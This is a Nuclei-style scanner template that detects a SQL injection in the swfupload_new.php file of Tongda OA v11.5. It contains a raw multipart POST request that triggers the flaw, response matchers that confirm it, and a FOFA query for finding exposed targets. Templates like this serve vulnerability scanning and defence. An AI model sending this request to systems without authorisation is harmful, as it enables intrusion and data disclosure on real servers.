id: tongda-oa-swfupload-sqli

info:
  name: Tongda OA v11.5 swfupload_new.php - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    There is a SQL injection vulnerability in the swfupload_new.php file of Tongda OA v11.5. An attacker can obtain sensitive information of the server through the vulnerability.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/通达OA/通达OA%20v11.5%20swfupload_new.php%20SQL注入漏洞.html
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/tongda-swfupload-new-sql-inject.yaml
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="TDXK-通达OA"
  tags: tongda,sqli,intrusive

http:
  - raw:
      - |
        POST /general/file_folder/swfupload_new.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2
        Accept-Encoding: gzip

        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="ATTACHMENT_ID"

        1
        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="ATTACHMENT_NAME"

        1
        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="FILE_SORT"

        2
        ------------GFioQpMK0vv2
        Content-Disposition: form-data; name="SORT_ID"

        ------------GFioQpMK0vv2--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "insert into FILE_CONTENT("

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100d908cad7f3c96fd2b0fcf57c40ed42214aec6f7630b24c0d3f4d90cb36920186022100b86191bc42c231d7024df435a15a8edd194cdd6f61c85da4610a2c324569755c:922c64590222798bb761d5b6d8e72950